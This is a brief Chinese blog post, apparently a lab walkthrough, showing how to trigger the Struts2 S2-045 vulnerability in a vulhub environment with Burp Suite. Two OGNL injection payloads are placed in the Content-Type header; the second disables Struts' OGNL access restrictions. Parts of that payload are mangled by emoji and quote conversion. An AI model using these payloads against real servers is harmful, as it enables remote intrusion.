Struts2 s2-045

文章介绍了如何使用网络抓包工具Burpsuite来构造两个针对Web应用的exploit,分别是poc1和poc2,这些POC涉及到对HTTP请求中content-type字段的修改,以尝试触发Struts2框架的特定漏洞,展示了一种Web安全测试的方法。
摘要由CSDN通过智能技术生成

拉取环境:

访问页面:

3.构造poc,使用抓包工具Burpsuite,修改数据包插入poc

poc1:

%{#context[‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’].addHeader(‘vulhub’,233233)}.multipart/form-data

把上面的代码粘贴到content-type字段发送显示

poc2:

%{(#test=‘multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)😦(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(2050)).(#ros.flush())}

同样粘贴到content-type字段

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值